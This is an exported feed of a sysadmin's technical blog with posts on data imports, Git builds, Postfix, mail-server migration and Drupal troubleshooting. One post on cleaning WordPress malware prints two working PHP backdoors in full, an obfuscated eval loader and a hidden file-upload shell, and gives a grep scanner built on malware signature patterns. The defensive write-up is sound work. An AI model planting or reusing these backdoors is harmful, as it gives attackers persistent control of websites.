tag:blogger.com,1999:blog-58076724281424164052024-03-13T23:30:40.952-04:00IT WorldMy posts about my jobs and hobbies in computer technology: web development (Java, PHP, jQuery, Angularjs, CSS, HTML, XML, web services), mobile development (Android, PhoneGap), system admin/devops (Linux, CentOS, Apache, Tomcat, MySQL, PostgreSQL, Puppet), open sources...
Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.comBlogger49125tag:blogger.com,1999:blog-5807672428142416405.post-83302660485826568982016-03-27T17:16:00.002-04:002016-03-27T17:16:38.362-04:00Download SalesForce Report in CSV to import into MySQLI've used Talend Open Studio to import SalesForce report data into MySQL via <a href="http://luan-itworld.blogspot.com/2016/03/access-salesforce-rest-api-from-talend.html" target="_blank">REST API</a> but it turned out the Analytics API limits up to <a href="https://developer.salesforce.com/forums/?id=906F0000000BKDaIAO" target="_blank">2,000 records</a> so now use Python to pull it from CSV and import into MySQL. Here is the <a href="https://gist.github.com/luanntvn/a2cc99ea5754c025bfe1" target="_blank">code</a><br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com11tag:blogger.com,1999:blog-5807672428142416405.post-8169413136995443082016-03-06T08:56:00.000-05:002016-03-06T08:56:06.868-05:00How to install Git on a shared hostI've noted <a href="http://joemaller.com/908/how-to-install-git-on-a-shared-host/" target="_blank">here</a> but wanted to post on my blog so I can find it quickly if necessary.<br />
<br />
First, make sure gcc is working:<br />
<b>gcc --version</b><br />
<br />
Then <b>update the ~/.bashrc</b>:<br />
<i>export PATH=$HOME/bin:$PATH</i><br />
<br />
source ~/.bashrc<br />
<br />
Then <b>install Git</b>:<br />
cd ~/<br />mkdir src<br />cd src<br />wget https://github.com/git/git/archive/v2.7.1.tar.gz<a href="https://github.com/git/git/archive/v2.7.1.tar.gz" rel="nofollow"></a><br />wget https://curl.haxx.se/download/curl-7.47.1.tar.gz<a href="https://curl.haxx.se/download/curl-7.47.1.tar.gz" rel="nofollow"></a><br />tar -xzvf v2.7.1.tar.gz <br />tar -xzvf curl-7.47.1.tar.gz<br />
cd git-2.7.1/<br />make configure<br />./configure --prefix=$HOME --with-curl=~/src/curl-7.47.1<br />
make<br />make installAnonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-26820662253883009842016-03-03T20:27:00.000-05:002016-03-03T20:28:53.363-05:00Access Salesforce REST API from Talend Open StudioToday I have a task to pull report data from Salesforce REST API into MySQL database. I've used <a href="https://www.talend.com/products/talend-open-studio" target="_blank">Talend Open Studio</a> to sync daily Salesforce's modules into Postgresql or replicate MS SQL database into Postgresql before so looks like this task is not difficult. It turned out the Salesforce REST API now requires <a href="https://developer.salesforce.com/docs/atlas.en-us.api_rest.meta/api_rest/intro_understanding_authentication.htm" target="_blank">OAuth 2.0</a>, so I googled to find out how to do that and got this <a href="http://www.deepinopensource.com/access-apex-rest-api-salesforce-from-talend/" target="_blank">http://www.deepinopensource.com/access-apex-rest-api-salesforce-from-talend/</a> . The problem is this guide's using cURL to get access_token to enter manually into <a href="https://help.talend.com/display/TalendOpenStudioforBigDataComponentsReferenceGuide60EN/tRESTClient" target="_blank">tRESTClient</a> while I need to do it automatically for daily auto-sync.. So I learned more about Talend's components.. (found it's very powerful!). Here is my solution: use one tRESTClient to request an access token first to assign into context variable, then execute another tRESTClient to access Salesforce REST API with that token.<br />
<br />
Below are screenshots.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnj1cTO9pUhgLtSavfaohFmab9R0lWul0mwLc4O_oOqU3zUxHy7bTQJWpZ1xiMHs9D7bwmZigLx5AbUhabDZeQhL1sX99kAIQEvPTPlRUNkh-4QJBZQ4aOVTpfHv-32rHsMRsK88ShB9i3/s1600/All_Referrals_RI_Monthly_Report-job.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnj1cTO9pUhgLtSavfaohFmab9R0lWul0mwLc4O_oOqU3zUxHy7bTQJWpZ1xiMHs9D7bwmZigLx5AbUhabDZeQhL1sX99kAIQEvPTPlRUNkh-4QJBZQ4aOVTpfHv-32rHsMRsK88ShB9i3/s1600/All_Referrals_RI_Monthly_Report-job.png" /></a></div>
<br />
<b>1. Request a token</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD6GWc6gi02cde3cCPgAK9VX6rnzeTOBbx6hmUEJvE4LG9qExEERlK-hWEwU4x9AcgNmLuzTZ1sBMJcBjl3Hi-V4sIirRt8trBbAEclg9lab5PiKZFuYArooBVryhg5n5iBC8pOsJ-d4pW/s1600/1.+token+request+settings+-zz.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD6GWc6gi02cde3cCPgAK9VX6rnzeTOBbx6hmUEJvE4LG9qExEERlK-hWEwU4x9AcgNmLuzTZ1sBMJcBjl3Hi-V4sIirRt8trBbAEclg9lab5PiKZFuYArooBVryhg5n5iBC8pOsJ-d4pW/s1600/1.+token+request+settings+-zz.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<b>2. Extract the token from output</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFSY2xD1mkzL2O5rLOPj2Ra_HnWKfDYQuTE_uTxNNRUzVK5Zy4XzxFRHZvrtkn1NOuhZWB3R9UvEsIOKosbWda1yYGOuKHJExUCrcVJAl7YgNfoTDsAATpm0l3Aw8R5jRQ-2gfjrGXwSdL/s1600/2.+token+extract.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFSY2xD1mkzL2O5rLOPj2Ra_HnWKfDYQuTE_uTxNNRUzVK5Zy4XzxFRHZvrtkn1NOuhZWB3R9UvEsIOKosbWda1yYGOuKHJExUCrcVJAl7YgNfoTDsAATpm0l3Aw8R5jRQ-2gfjrGXwSdL/s1600/2.+token+extract.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<b>3. Assign token into context variable</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY9WHkCDTKf4emzf70W7CP_3EzYQkBSM7mQQOkmMBmnXCzBlMG5HcgUo90ZXtAmbL07Ia4_7gzjCHr0HjDpjtqOVfrmxpu4WCfQIBsHbCQ-xqjeBj30O8MfF8ACG3T59S3BqdkpLcOwtUs/s1600/3.+save+token+into+context+variable.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY9WHkCDTKf4emzf70W7CP_3EzYQkBSM7mQQOkmMBmnXCzBlMG5HcgUo90ZXtAmbL07Ia4_7gzjCHr0HjDpjtqOVfrmxpu4WCfQIBsHbCQ-xqjeBj30O8MfF8ACG3T59S3BqdkpLcOwtUs/s1600/3.+save+token+into+context+variable.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<b>4. Use that token for REST</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyUrL5Lrp13_Z8GMUjR6ahrKs7bqp9cp7nr6b9OJXYl2reUDfx66vO-DO79tY7x-SjZ_RqVt-fuC79LDljA9zbn-3GtRtpLEcDQ23vt0yO0ZELR1kkpZyn_GlVdMc9lo5H_h5ZQe7zdCdL/s1600/4.+pull+data+-+zz.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyUrL5Lrp13_Z8GMUjR6ahrKs7bqp9cp7nr6b9OJXYl2reUDfx66vO-DO79tY7x-SjZ_RqVt-fuC79LDljA9zbn-3GtRtpLEcDQ23vt0yO0ZELR1kkpZyn_GlVdMc9lo5H_h5ZQe7zdCdL/s1600/4.+pull+data+-+zz.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<b>5. Because the Salesforce REST output contains special node name that causes invalid parsing so replace it with a common character</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQfmO9wKl9wWlAfLyKFU0F0CboftVCNS1bVWaj0jnoRnl72pif13QeUv8wljWtLD38DgL19oCefPJy04IJ0ADUTYyTkaZh0q35NRvQtjjZHbIpVGc17-lErokb3WoFv36ZZRyIcK6aS13e/s1600/5.+replace+invalid+JSON+key.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQfmO9wKl9wWlAfLyKFU0F0CboftVCNS1bVWaj0jnoRnl72pif13QeUv8wljWtLD38DgL19oCefPJy04IJ0ADUTYyTkaZh0q35NRvQtjjZHbIpVGc17-lErokb3WoFv36ZZRyIcK6aS13e/s1600/5.+replace+invalid+JSON+key.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<b>6. Extract the JSON data</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSaf6tmnqQs1OSP2hRMBBiIoqFpLYK0umHZ_pldT1mVGiKvvbwCfIPLJYzIwFuifR8woM2rr1kq6IQGukDrhJ788kxqqcshs6aBWy0NyDyhkQyfCp3zSeXAt1fKaJIs0RT8Or7bKeYMgTw/s1600/6.+extract+output+data.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSaf6tmnqQs1OSP2hRMBBiIoqFpLYK0umHZ_pldT1mVGiKvvbwCfIPLJYzIwFuifR8woM2rr1kq6IQGukDrhJ788kxqqcshs6aBWy0NyDyhkQyfCp3zSeXAt1fKaJIs0RT8Or7bKeYMgTw/s1600/6.+extract+output+data.png" /></a></div>
<b> 7. Save into MySQL database</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLbFDsu0-wD27j3hmUy16ReMYy4GSJbUkLT4UMgDubOT6VzBdewRWwwfKHSP68KwHEuOb05vgIadmGz3vvj6RBx5NwFevVFywuBah3ZpnF9ozVpTaOQ43KHyQy43CXHW6o_R-h0Acgs6iX/s1600/7.+save+data+into+MySQL.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLbFDsu0-wD27j3hmUy16ReMYy4GSJbUkLT4UMgDubOT6VzBdewRWwwfKHSP68KwHEuOb05vgIadmGz3vvj6RBx5NwFevVFywuBah3ZpnF9ozVpTaOQ43KHyQy43CXHW6o_R-h0Acgs6iX/s1600/7.+save+data+into+MySQL.png" /></a></div>
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com15tag:blogger.com,1999:blog-5807672428142416405.post-86128060059598640262015-10-02T00:00:00.001-04:002016-03-11T07:40:45.955-05:00WordPress sites malware prevention[UPDATED: 3/11/2016 - yesterday I found another malware that uses preg_replace with PCRE modifier /e to execute PHP code instead of eval - <a href="http://stackoverflow.com/questions/33804003/what-does-the-code-mean-and-how-can-be-used-by-malicious-hackers" target="_blank">here it is </a>and <a href="http://php.net/manual/en/reference.pcre.pattern.modifiers.php" target="_blank">document</a>]<br />
<br />
Recently I've helped some clients to remove malware infected into WordPress sites. One of them has been blocked by Google Chrome and Firefox with big red scary warning page.<br />
I've found out and used the tool <a href="https://github.com/Pilskalns/Narnia-Guardian" target="_blank">Narnia-Guardian</a> - thought it's very helpful but it didn't guarantee to clean all (it has helped me to clean thousands infected files deeply in framework libraries for a site that integrated with WordPress blog), we must examine code manually and pick malware signatures to add into the blacklist.<br />
<br />
Then I kept monitoring access log files and found out some suspicious activities, mostly POST requests, to catch malicious code, then trace out the common attack way:<br />
- Hackers upload lots PHP files to act as backdoors (1). Then do POST request to one of them to upload or create another PHP malware files (2) to do other things like creating WordPress admin account, sending out spam emails, embedding malware into Javascript files (3) (like <a href="https://blog.sucuri.net/2015/09/wordpress-malware-active-visitortracker-campaign.html" target="_blank">visitorTracker</a>) or creating a form to allow listing directory content/uploading new files, etc..<br />
- PHP malware files usually contains base64 encoded php code or just receive POST request data (another base64 encoded php code) then decode them and call eval() function to execute those malware. Like this:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <?php
@ignore_user_abort(true);
@set_time_limit(0);
$getherw3423 = "FFS"."W35"."25KK"."Sfj";
$rretert454352 = "b"."".""."a"."s".""."".""."e"."".""."6"."".""."4"."_".""."".""."d"."e"."c"."o".""."".""."".""."d".""."e";
$qwretrqt5234 = "";
if(!empty($_POST[$getherw3423]) and strlen($_POST[$getherw3423]) > 0 and isset($_POST[$getherw3423])){
$qwretrqt5234 = $rretert454352($_POST[$getherw3423]);
@<b>eval</b>($qwretrqt5234);
}else{
echo "<html><head>
<title>404 Page Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found.</p>
</body></html>";
}
?>
</code></pre>
<br />
- Scanners like <a href="https://github.com/Pilskalns/Narnia-Guardian" target="_blank">Narnia-Guardian</a> might just detect (2) or (3) but not (1) because they mostly looks "clean" like normal functional PHP files. Something likes this:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <?php
// Silence is golden.
if(isset($_GET[php4])) {echo '<form action="" method="post" enctype="multipart/form-data" name="silence" id="silence">'; echo '<input type="file" name="file"><input name="golden" type="submit" id="golden" value="Done"></form>';
if( $_POST['golden'] == "Done" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '+'; } else { echo '-'; }}} if(isset($_GET[php5])) {$file=$_GET["php5"]; $wpf=strrchr($file, '/'); $wpf=str_replace("/","",$wpf); $content=file_get_contents($file); $wpt = fopen($wpf, "w"); fwrite($wpt, $content); fclose($wpt); } else {echo '<title></title>';}
?>
</code></pre>
<br />
- <b>If we missed some (1) or (2) files when cleaning, malware will be spawned again!</b> Especially when we have to check many sites with hundreds suspicious code files - and hackers only trigger one backdoor file at once - not all - when they checked fail on (2). They will try another backdoor file when checked fail on the 1st one and so on..<br />
<br />
So the backdoor is usually involved with eval() execution or $_FILES upload variable.<br />
<br />
But some sites also use some plugins that contain clean code of eval() executions or $_FILES.<br />
<br />
So we need to examine all code of eval() executions or $_FILES to find out which is clean and which is malicious.<br />
After cleaned all malicious code, we should monitor them frequently to make sure no more malware code in the future.<br />
To do that, I've created a bash script to scan and compare eval() executions or $_FILES usage count. If that differ from 'clean' code count, then send email to notify me. I've also make it to scan malware based on Narnia-Guardian's black list and some I found during cleaning them.<br />
<br />
Here is my sample bash script - I've configured it to run by cron every 15 minutes or hourly:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> recipients='xyz@gmail.com'
from='xyz@gmail.com'
function send_email {
local subject="$1"
local body="$2"
#or execute a php script if need SMTP authentication..
/usr/sbin/sendmail "$recipients" <<EOF
subject:$subject
from:$from
$body
EOF
}
function keyword_scan {
local folder=$1
local THRESHOLD=$2
local regex_name=$3
local regex="$4"
local count=`grep -r --include=*.php -E "$regex" $folder -l | wc -l`
if [[ $count -ne $THRESHOLD && $count -gt 0 ]]; then
subject="*ALERT* – $regex_name usage ($count) under $folder on serverX differs 'clean' usage ($THRESHOLD)"
body="`grep -r --include=*.php -E "$regex" $folder`"
send_email "$subject" "$body"
fi
echo folder: $folder regex: $regex_name THRESHOLD: $THRESHOLD count: $count
}
#check visitorTracker / php4..
function malware_scan {
local folder=$1
local regex='visitorTracker|PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcH|wpupdatestream|wpwhitesecurity|c4f648718569a2b8e00543f6f75ed83c|\$_GET\[php4\]|GLOBALS\["\\x61\\156\\x75\\156\\x61"\]|\$sF="PCT4BA6ODSE_"|\$hqrrwlpxhh|\$bmhqhhzolg|\$igeosfpzpy|PHP Obfuscator|\$cookey = "ab6b6c56c9|\$cookey = "ac6012748c"|\$cookey = "ad94f0ba61"|\$qV="stop_";|\$pjro=22;|\$vnlpv=\$pjro\+42;|\$d93="l#|PluginJoomla|OBALS\[.n3b0.\]|\\x58\\x67\\x3b\\x43\\x51\\x60|\$ytqzb\$zqyq=|\$xbgyr|\$qjdul|\$s20=strtoupper|\$igeosfpzpy|"ad0732bab1"|\$bmhqhhzolg|\$vdmick=.preg.|\$ksuqdnntbn|chr\(98\).chr\(97\).chr\(115\).chr\(101\).chr\(54\).chr\(52\).chr\(95\).chr\(100\).chr\(101\).chr\(99\).chr\(111\).chr\(100\).chr\(101\)|\$ygu="b"."ase"."64_de"."code"|\$yznqstl|\$rretert454352|\$npaebi|function getperms|c999sh_surl|FZhFtoVcloSnkr3MP2n|x65x76x61x6Cx28x67x7Ax69|base64_decode\(\$_POST\["php"\]|@ini_restore\("safe_mode_include_dir"\);|@ini_restore\("safe_mode_exec_dir"\);|countimg.gif\?id=4da620681febfa679b00b25f|rebots.php'
local count=`grep -rI -E "($regex)" $folder --include=*.{js,php,htm,html} --include="wp-content/uploads" -l | wc -l`
if [ $count -gt 0 ]; then
subject="*ALERT* – found visitorTracker/php4.. malware ($count) under $folder on serverX"
body="`grep -rI -E \"($regex)\" $folder --include=*.{js,php,htm,html} --include=\"wp-content/uploads\"`"
send_email "$subject" "$body"
fi
echo folder: $folder count: $count
}
name='eval'
regex="(;| )eval\(|preg_replace.*/e"
echo keyword_scan - $name
keyword_scan /home/wpsite1/public_html 9 $name "$regex"
keyword_scan /home/wpsite2/public_html 10 $name "$regex"
name='copy_move_uploaded_file_FILES'
regex="(copy|move_uploaded_file)[[:space:]]*\([[:space:]]*._FILES[[:space:]]*[[[:space:]]*"
echo keyword_scan - $name
keyword_scan /home/wpsite1/public_html 2 $name "$regex"
keyword_scan /home/wpsite2/public_html 3 $name "$regex"
echo malware scan : visitorTracker/php4
malware_scan /home/wpsite1/public_html
malware_scan /home/wpsite2/public_html
</code></pre>
<br />
Note that this is just my homemade scanner :) - you'll might need to buy professional plan, like the <a href="https://sucuri.net/website-firewall/stop-website-attacks-and-hacks" target="_blank">Sucuri Malware Prevention plan</a>. (I haven't tried it but just tested their <a href="https://sitecheck.sucuri.net/" target="_blank">free tool </a>) and follow up <a href="http://codex.wordpress.org/Hardening_WordPress" target="_blank">Hardening WordPress</a> instruction and/or disallow PHP execution under wp-content/uploads folder, like this:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <Directory "/home/wpsite1/public_html/wp-content/uploads/">
<Files "*.php">
Order Deny,Allow
Deny from All
</Files>
</Directory>
</code></pre>
<br />
It would be safe to disable execution from other extensions:<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <Directory "/home/wpsite1/public_html/">
<FilesMatch "\.(php3|php4|php5|phtml)$">
Order Deny,Allow
Deny from All
</Files>
</Directory>
</code></pre>
<br />
If we host many PHP sites on the same server, we should use <a href="https://www.chriswiegman.com/2011/10/fastcgi-vs-suphp-vs-cgi-vs-mod_php-dso/" target="_blank">suPHP or FastCGI</a> handlers instead of mod_php so we can isolate and run each site under different user to prevent infection between sites.<br />
<br />
FYI - a backdoor screenshot:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1sbPgnE7xfg4uRT17R472IYEcjXclVmmDDM-yF2kJk6RMeKu7bAasSKsxGG8H7zlbSvGwxMEuu9OFmP-M1FmMe8vwbApEJ8gl-XM0RhXdVeWj9P0tqtn1vy-YDdBtcB7VUE-VOIymH6h/s1600/backdoor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp1sbPgnE7xfg4uRT17R472IYEcjXclVmmDDM-yF2kJk6RMeKu7bAasSKsxGG8H7zlbSvGwxMEuu9OFmP-M1FmMe8vwbApEJ8gl-XM0RhXdVeWj9P0tqtn1vy-YDdBtcB7VUE-VOIymH6h/s640/backdoor.png" width="640" /></a></div>
<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com1tag:blogger.com,1999:blog-5807672428142416405.post-49259326470303748892014-11-19T08:39:00.002-05:002014-11-19T08:39:54.298-05:00Customize outgoing SendGrid emails X-SMTPAPI header by PostfixSendGrid’s <a href="https://sendgrid.com/docs/API_Reference/SMTP_API/index.html" target="_blank">SMTP API</a> allows developers to specify custom handling instructions for e-mail. This is accomplished through a header, X-SMTPAPI, that is inserted into the message.<br />
<br />
We can do it easily, for example in PHP:<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> $email = new SendGrid\Email();
$email->addTo('from@abc.com')->
setFrom('to@abc.com')->
setSubject('Subject goes here')->
setText('Hello World!')->
addFilter("subscriptiontrack", "enable", 0)->
addFilter("clicktrack", "enable", 0)->
addFilter("opentrack", "enable", 0)->
addCategory("www")->
setHtml('<strong>Hello World!</strong>');
</code></pre>
<br />
But for some reasons, Client would like to replay emails to SendGrid by local Postfix and using Drupal built-in mail function without custom code, we can use Postfix <i>smtp_header_checks</i> to add the X-SMTPAPI header for outgoing emails.<br />
<br />
Below are steps to do that:<br />
<br />
1. Setup Postfix and config it to send emails via SendGrid as <a href="https://sendgrid.com/docs/Integrate/Mail_Servers/postfix.html" target="_blank">here</a><br />
(it's better to use hashed password file like<i> smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd</i> instead <i>smtp_sasl_password_maps = static:yourSendGridUsername:yourSendGridPassword</i>)<br />
<br />
2. Add<i> smtp_header_checks</i> to <i>/etc/postfix/main.cf</i>: <br />
<i>smtp_header_checks = regexp:/etc/postfix/smtp_header_checks</i><br />
<br />
3. Create <i>/etc/postfix/smtp_header_checks</i> file with the content, like:<br />
<i>/^From:/ PREPEND X-SMTPAPI: "category":["www"],"filters":{"subscriptiontrack":{"settings":{"enable":0}},"clicktrack":{"settings":{"enable":0}},"opentrack":{"settings":{"enable":0}}}}</i><br />
<br />
Hint: we can easily get the X-SMTPAPI content by print it out from above PHP code, like:<br />
<pre style="background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> $arr = $email->toWebFormat();
echo $arr['x-smtpapi'];
</code></pre>
<br />
4. Reload Postfix<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com1tag:blogger.com,1999:blog-5807672428142416405.post-39158604194429882812014-11-07T11:34:00.000-05:002014-11-07T12:35:37.925-05:00Move Mail-in-a-box to another serverI was asked to move a <a href="https://mailinabox.email/" target="_blank">Mail-in-a-box</a> to another server last night. It's quite new for me although I've migrated Zimbra server several times. On their web site, there's just a very simple <a href="https://mailinabox.email/guide.html" target="_blank">setup guide</a>. So I searched in the forum and found a <a href="https://discourse.mailinabox.email/t/restore-from-a-backup/41" target="_blank">instruction</a> from Josh. I don't have much experience with Mail-in-a-box so had to find out what are STORAGE_ROOT and STORAGE_USER variables in code. It turned out they are set: <br />
STORAGE_USER=user-data<br />
STORAGE_ROOT=/home/$STORAGE_USER<br />
<br />
Then learned how to decrypt files via openssl as instructed and how to restore them via duplicity. Had to look into the backup.py code to see how they are encrypted then how to decrypt..<br />
But then found out I didn't need to decrypt those files when we can use normal files in the /home/user-data/backup/duplicity/ instead of decrypted files from /home/user-data/backup/encrypted/.<br />
<br />
To summary, below are steps to move Mail-in-a-box to another server:<br />
1. Setup a new Ubuntu 14.04 x64 and setup Mail-in-a-box as the <a href="https://mailinabox.email/guide.html" target="_blank">setup guide</a>.<br />
Copy the /etc/postfix/main.cf from the old server over the new server. <br />
2. Stop the service mailinabox on the old server : <i>sudo service mailinabox stop</i><br />
3. Do backup manually: <i>sudo /home/my_account/mailinabox/management/backup.py</i><br />
(this is usually incremental backup since mailinabox is scheduled backup daily)<br />
4. Then stop mailinabox again (because it's started by the backup tool) to make sure no new mails come in. <br />
5. rsync entire /home/user-data/backup/duplicity/ to the new server in a folder.<br />
<i>rsync -avr -e ssh /home/user-data/backup/ my_account@new_server:backup/</i><br />
6. Do restore on the new server:<br />
- Stop the mailinabox service: <i>sudo service mailinabox stop</i><br />
- In case we restore from encrypted files, we decrypt them with commands:<br />
<i>mkdir /home/my_account/backup/decrypted && cd /home/my_account/backup/encrypted</i><br />
<i>for
FILE in *.enc; do openssl enc -d -aes-256-cbc -a -in $FILE -out
../decrypted/${FILE%.*} -pass file:../secret_key.txt; done</i>- Restore by duplicity: <br />
<i>sudo duplicity --no-encryption restore file:///home/my_account/backup/duplicity /home/user-data</i><br />
or <br />
<i>sudo duplicity --no-encryption restore file:///home/my_account/backup/decrypted </i><i>/home/user-data</i><br />
- Re-configure/update: <i>cd /home/my_account/mailinabox && sudo setup/start.sh</i><br />
<br />
In case we don't switch immediately, we can start the service mailinabox on the old server again and just before transition, do from step #2 to the rest. It will be faster because we will just sync new incremental backup.<br />
<br />
Note that Josh said on the other <a href="https://discourse.mailinabox.email/t/maintaining-a-local-dovecot-mirror/16/4" target="_blank">thread</a> that we can sync /home/user-data directly but I didn't test that.Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com2tag:blogger.com,1999:blog-5807672428142416405.post-51618538941191390022014-10-16T11:05:00.001-04:002014-11-19T08:41:29.818-05:00Phusion Passenger and missing passenger_native_support.so issueWhen upgrade an Rails application from Ruby 1.9.3 to 2.0.0 by using rvm, it throws out error as:<br />
<br />
Raw process output:<br />
<br />
--> Compiling passenger_native_support.so for the current Ruby interpreter...<br />
(set PASSENGER_COMPILE_NATIVE_SUPPORT_BINARY=0 to disable)<br />
--> Downloading precompiled passenger_native_support.so for the current Ruby interpreter...<br />
(set PASSENGER_DOWNLOAD_NATIVE_SUPPORT_BINARY=0 to disable)<br />
Could not download https://oss-binaries.phusionpassenger.com/binaries/passenger/by_release/4.0.48/rubyext-ruby-2.0.0-x86_64-linux.tar.gz: Resolving timed out after 4516 milliseconds<br />
Trying next mirror...<br />
Could not download https://s3.amazonaws.com/phusion-passenger/binaries/passenger/by_release/4.0.48/rubyext-ruby-2.0.0-x86_64-linux.tar.gz: Resolving timed out after 4516 milliseconds<br />
--> Continuing without passenger_native_support.so.<br />
/usr/local/rvm/gems/ruby-2.0.0-p451/gems/json-1.8.1/lib/json/common.rb:67: [BUG] Segmentation fault<br />
ruby 2.0.0p451 (2014-02-24 revision 45167) [x86_64-linux]<br />
<br />
It turned out the passenger_native_support.so was missed in rvm /usr/local/rvm/rubies/ruby-2.0.0-p451/lib/ruby/2.0.0/x86_64-linux/ folder.<br />
<br />
So searched and found it in /usr/lib/ruby/2.0.0/x86_64-linux-gnu/ then copied it to /usr/local/rvm/rubies/ruby-2.0.0-p451/lib/ruby/2.0.0/x86_64-linux/<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com13tag:blogger.com,1999:blog-5807672428142416405.post-70042966672865562002014-10-11T17:00:00.000-04:002014-11-19T08:41:53.745-05:00Drupal 7.3.1 crashes with eAccelerator 0.9.6.1When deploy a site which was built on Drupal 7.3.1 on CentOS 6.5, it crashed with an error:<br />
<br />
<i>"Fatal error: Cannot create references to/from string offsets nor overloaded objects in /var/www/drupal/includes/errors.inc on line 184</i><br />
<br />
That's interesting. So I've commented out that line ($test_info = &$GLOBALS['drupal_test_info'];) and the app continues working but the come with some other strange behaviors like the URLS are pointing with querystring parameters such as http://drupal-site.com/?q=careers instead clean URL like http://drupal-site.com/careers<br />
or<br />
<i>Fatal error: Cannot use object of type ctools_context as array in /var/www/drupal/sites/all/modules/contrib/panels_everywhere/plugins/tasks/site_template.inc on line 103... </i><br />
<br />
Then I've tried to setup a new Drupal 7.3.1 site from scratch and it worked pretty well. It looks like some extra modules like contrib caused the problem.<br />
<br />
Finally I noticed there were bunch of errors "<i>child pid xyz exit signal
Segmentation fault (11)</i>" in the /var/log/httpd/error_log so I found out
why and tried to disable <a href="http://eaccelerator.net/" target="_blank">eAccelerator</a> (the latest 0.9.6.1 - which is required by the Dev team) and the app works again.<br />
<br />
Then I enabled it and the app was still working... until sometimes later it crashed again - looks like the cached was expired?<br />
<br />
So finally I've asked the Dev team to switch to the <a href="http://php.net/manual/en/book.apc.php" target="_blank">APC</a> for alternative. <br />
<br />
<br />
<br />
